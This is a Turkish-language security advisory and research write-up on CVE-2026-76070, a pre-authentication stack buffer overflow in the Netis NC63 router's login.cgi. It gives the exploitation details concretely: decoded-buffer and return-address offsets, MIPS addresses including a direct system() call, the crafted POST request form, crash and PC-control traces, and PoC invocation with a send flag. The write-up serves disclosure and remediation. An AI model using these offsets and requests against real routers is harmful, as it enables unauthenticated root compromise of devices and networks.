CVE-2026-76070: Netis NC63 Pre-Auth login.cgi Base64 Stack Buffer Overflow ile RCE
On this page
- Netis NC63 | CVE-2026-76070 | Pre-Auth login.cgi Base64 Stack Buffer Overflow ile RCE
- Zafiyet: Pre-Authentication Stack Buffer Overflow → Remote Code Execution
- CVE: CVE-2026-76070
- Resmi Başlık: Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in Netis NC63 login.cgi Leading to RCE
- CVE Durumu: VulnCheck tarafından atandı; yazı hazırlanırken kayıt detayları henüz populate edilmemişti
- Araştırmacı: Özcan Ersan (@ozcanpng)
- Giriş
- Etkilenen Hedef
- Kısa Özet
- Attack Surface ve Authentication Durumu
- Root Cause: Decoded Length ile Destination Capacity Eşleştirilmiyor
- Stack Corruption Analizi
- Dinamik Doğrulama
- 1. Saved Return Address 0x42424242 ile Değiştirildi
- 2. Kontrollü Program Counter
- 3. Observation-Only RCE Boundary
- Privilege ve Hardening Bağlamı
- Güvenli Public Proof of Concept
- Etki
- Sınıflandırma
- Mitigation
- Disclosure Timeline
- Disclosure Note
- Referanslar
Netis NC63 | CVE-2026-76070 | Pre-Auth login.cgi Base64 Stack Buffer Overflow ile RCE
Zafiyet: Pre-Authentication Stack Buffer Overflow → Remote Code Execution
CVE: CVE-2026-76070
Resmi Başlık: Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in Netis NC63 login.cgi Leading to RCE
CVE Durumu: VulnCheck tarafından atandı; yazı hazırlanırken kayıt detayları henüz populate edilmemişti
Araştırmacı: Özcan Ersan (@ozcanpng)
Giriş
Bu yazıda Netis NC63 V3.0.0.3327 firmware’indeki public login handler üzerinde tespit ettiğim CVE-2026-76070 zafiyetini anlatıyorum.
Problemi yalnızca “Base64 zafiyeti” diye tanımlamak doğru değil. Base64 burada frontend’in kullandığı input transformation katmanı. Asıl güvenlik hatası, /bin/netis.cgi içindeki custom decoder’ın attacker-controlled veriyi sabit 64-byte stack buffer içine yazarken destination capacity bilgisini almaması ve decoded length’i önceden doğrulamaması.
Unsafe decode, gönderilen parola cihazdaki administrator password ile karşılaştırılmadan önce gerçekleşiyor. Dolayısıyla geçerli parola, authenticated session, Cookie veya Authorization header gerekmiyor.
Testleri original-hash production CGI ile disposable qemu-mipsel runtime içinde yaptım. Saved return-address kontrolü, program-counter kontrolü ve attacker-selected bir argümanın original system() path’ine ulaşması dinamik olarak gözlemlendi. Son command-interpreter boundary’de gerçek shell yerine observation-only logger kullanıldığı için hiçbir komut çalıştırılmadı.
Etkilenen Hedef
| Alan | Değer |
|---|---|
| Vendor | Netis Systems Co., Ltd. |
| Ürün | Netis NC63 Wireless AC1200 Router |
| Firmware | NC63_V3.0.0.3327 |
| Mimari | MIPS32r2 little-endian, o32 ABI, uClibc |
| Web server | Boa/0.94.14rc21 |
| CGI binary | /bin/netis.cgi |
| Endpoint | POST /cgi-bin/login.cgi |
| Parametre | Base64-encoded password |
| Authentication | Yok; unsafe decode pre-authentication aşamasında |
Firmware ve binary hash’leri:
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi

Kısa Özet
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| destination capacity aktarılmıyor
| decoded output 64 byte'ı aşıyor
v
saved s8: decoded offset 132
saved ra: decoded offset 136
|
v
attacker-selected MIPS PC
|
v
privileged CGI context içinde RCE primitive
Doğrulanan temel ölçümler:
- decoded buffer kapasitesi: 64 byte
- saved frame-pointer offset’i: 132 byte
- saved return-address offset’i: 136 byte
- login handler başlangıcı:
0x0041a2e0 - custom decoder:
FUN_00402bd4 - direct
jal system:0x0041a3cc
Attack Surface ve Authentication Durumu
Frontend parolayı dönüştürerek public login endpoint’ine gönderiyor:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
HTML input üzerinde client-side bir limit bulunuyor:
<input type="password" id="login_pwd" maxlength="63" />

Direct HTTP client bu attribute ile sınırlı değil. Vulnerable request biçimi:
POST /cgi-bin/login.cgi HTTP/1.0
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ...
password=<Base64-encoded decoded pattern>
Login endpoint zaten authentication öncesinde credential kabul etmek zorunda. Kritik nokta, decoder çağrısının strcmp(decoded, stored) işleminden önce yapılması. Yanlış parola gönderildiğinde bile handler karar vermeden önce current stack frame bozuluyor.
Root Cause: Decoded Length ile Destination Capacity Eşleştirilmiyor
İsimleri okunabilirlik için normalize edilmiş Ghidra pseudocode:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

FUN_00402bd4 destination ve source pointer alıyor, fakat destination length almıyor. Loop, her tam dört Base64 symbol için üç output byte’a kadar yazıyor:
00402c70 move t8,s1
00402c74 addiu s1,t8,1
...
00402ccc sb v0,0(t8)
00402cd0 move t8,s1
00402cd4 addiu s1,t8,1
...
00402d30 sb v0,0(t8)
00402d34 move t8,s1
00402d38 addiu s1,t8,1
...
00402d8c sb v0,0(t8)

Normal Base64’te dört encoded symbol en fazla üç decoded byte üretir. Sadece encoded text’i kontrol etmek veya browser’daki clear-text password limitine güvenmek yeterli değildir. Server, padding’i hesaba katarak decoded size’ı hesaplamalı, gerekiyorsa terminator için alan ayırmalı ve destination’a sığmayan değeri decode etmeden reddetmelidir.
Stack Corruption Analizi
Login handler 168-byte (0xa8) stack frame oluşturuyor:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
Decoded buffer s8+0x1c adresinde başlıyor:
0041a35c addiu t8,s8,28
0041a360 move a0,t8
0041a364 lw a1,24(s8)
0041a368 jal 0x00402bd4
Epilogue, saved state’i s8+0xa0 ve s8+0xa4 adreslerinden restore ediyor:
decoded buffer s8+0x1c decoded offset 0
buffer capacity 64 byte
saved frame pointer s8+0xa0 decoded offset 132
saved return address s8+0xa4 decoded offset 136
Saved return distance 0xa4 - 0x1c = 0x88, yani tam 136 byte.

Dinamik Doğrulama
1. Saved Return Address 0x42424242 ile Değiştirildi
Password değeri decode edildiğinde tam 140 B byte üreten POST body şu sonucu verdi:
open("/tmp/boa_auth", O_RDONLY) = -1 ENOENT
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

Bu çıktı, HTTP-controlled decoded byte’ların saved ra alanına ulaştığını gösteriyor; sonuç yalnızca statik offset hesabına dayanmıyor.
2. Kontrollü Program Counter
İkinci 140-byte input saved ra değerini login handler’ın fixed entry adresi 0x0041a2e0 ile değiştirdi. QEMU CPU log, normal ilk entry’den sonra overwritten state ile ikinci entry’yi kaydetti:
login_entry_hit=2 pc=0x0041a2e0 ...
GPR28: ... s8 41414141 ra 0041a2e0
PASS: first hit is normal dispatch; second hit is the overwritten RA.

3. Observation-Only RCE Boundary
Production binary 0x0041a3cc adresinde direct jal system içeriyor. Private non-destructive doğrulamada mevcut fixed-base instruction’lar MIPS a0 register’ına marker yükleyerek bu call’a ulaştı. Disposable namespace içinde /bin/sh, üçüncü argümanı hiçbir zaman yorumlamayan logger ile değiştirildi:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
Overflow, saved return-address control, PC control, a0 control ve original system() transfer production CGI içinde gerçekleşiyor. Shell’in logger ile değiştirilmesi sadece son boundary’yi değiştirerek argümanın komut çalıştırmadan gözlemlenmesini sağlıyor.
Test, isolated environment içinde RCE primitive’i kanıtlıyor. Physical cihazın deployed kernel ve address-randomization davranışı altında aynı exploit reliability’ye sahip olduğunu ayrıca kanıtlamıyor.
Privilege ve Hardening Bağlamı
Original Boa configuration CGI ortamını root olarak çalıştırıyor:
User root
Group root
CGIPath /bin:/usr/bin:/web/cgi-bin/

Production netis.cgi aynı zamanda fixed-base MIPS executable; stack canary ve RELRO yok, GNU stack executable ve RWX segment bulunuyor.

Bu özellikler exploitation’ı kolaylaştırıyor, fakat RCE sonucu yalnızca mitigation eksikliklerine değil dinamik control-flow ve guarded argument evidence’a dayanıyor.
Güvenli Public Proof of Concept
Public repository’deki minimal Python generator varsayılan olarak yalnızca 140 B byte’a decode edilen Base64 form body’yi yazdırıyor:
python3 poc/poc.py
Request göndermek için authorized target ve --send açıkça belirtilmeli:
python3 poc/poc.py --target http://192.168.1.1 --send
Pattern’in gönderilmesi CGI process’i crash edebilir. Public PoC içinde return chain, shellcode, command, reverse shell veya persistence yok. Observation-only RCE’nin tam kanıtı screenshot ve trace olarak sunuluyor; network exploit weaponize edilmiyor.
Etki
Management interface’e erişebilen unauthenticated attacker, decoded-password stack overflow’u exploit ederek router-management context içinde attacker-selected code veya command çalıştırabilir. Production Boa configuration CGI’yi root olarak çalıştırıyor.
Olası etkiler:
- tam router compromise
- router configuration ve stored secret’ların disclosure veya modification’ı
- trusted configuration ve service’lerin değiştirilmesi
- DNS, firewall ve routing manipulation
- traffic interception, modification veya redirection
- post-compromise erişim üzerinden credential theft
- olası bir follow-on action olarak persistent compromise
- management service veya cihaz disruption
Default realistic exposure genellikle router management interface’e adjacent-network access’tir. Remote management aktifse veya interface başka bir şekilde exposed ise attack surface network-reachable hale gelebilir. Persistence ve physical-device exploit reliability dinamik olarak test edilmedi.
Sınıflandırma
Bu yazı hazırlanırken atanmış CVE kaydı henüz populate edilmemişti. Aşağıdaki değerler VulnCheck-published score değil, researcher assessment’tır:
Researcher-assessed CVSS v3.1 (typical adjacent management network): 8.8
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Conditional routable-management score: 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE-121: Stack-based Buffer Overflow
- Related: CWE-120 — Buffer Copy without Checking Size of Input
Mitigation
FUN_00402bd4, destination capacity alan güvenli bir decoder API ile değiştirilmeli.- Terminator için yer ayrılarak calculated decoded length 63 byte’ı aşıyorsa input reddedilmeli.
- Length ve Base64 syntax kontrolleri decode öncesinde server-side uygulanmalı.
- Custom decoder’ın bütün caller’ları audit edilmeli.
- Binary stack canary, PIE, NX ve RELRO ile yeniden build edilmeli.
- Web-management component’leri least privilege ile çalıştırılmalı.
Disclosure Timeline
- 2026-08-16: discovery ve isolated production-binary validation tamamlandı.
- Ağustos 2026: VulnCheck’e raporlandı.
- 2026-08-20: VulnCheck
CVE-2026-76070ID’sini atadı ve public disclosure izni verdi. - 2026-08-20: public disclosure paketi hazırlandı; remote publication explicit push onayını bekliyor.
Disclosure Note
VulnCheck, CVE-2026-76070 ID’sini 2026-08-20 tarihinde atadı ve public disclosure izni verdi.
Destructive validation bilinçli olarak yapılmadı. Public proof of concept yalnızca non-executable crash pattern kullanıyor. RCE validation observation-only /bin/sh -c boundary’sinde durduruldu ve hiçbir komut çalıştırılmadı.
Referanslar
- CVE-2026-76070
- CVE-2026-76070 PoC and Evidence Repository
- VulnCheck
- Netis NC63 Firmware Download Page
- CVE-2026-73673
Physical router flash’lanmadı, gerçek komut çalıştırılmadı ve persistence, external connection, credential theft veya destructive operation gerçekleştirilmedi.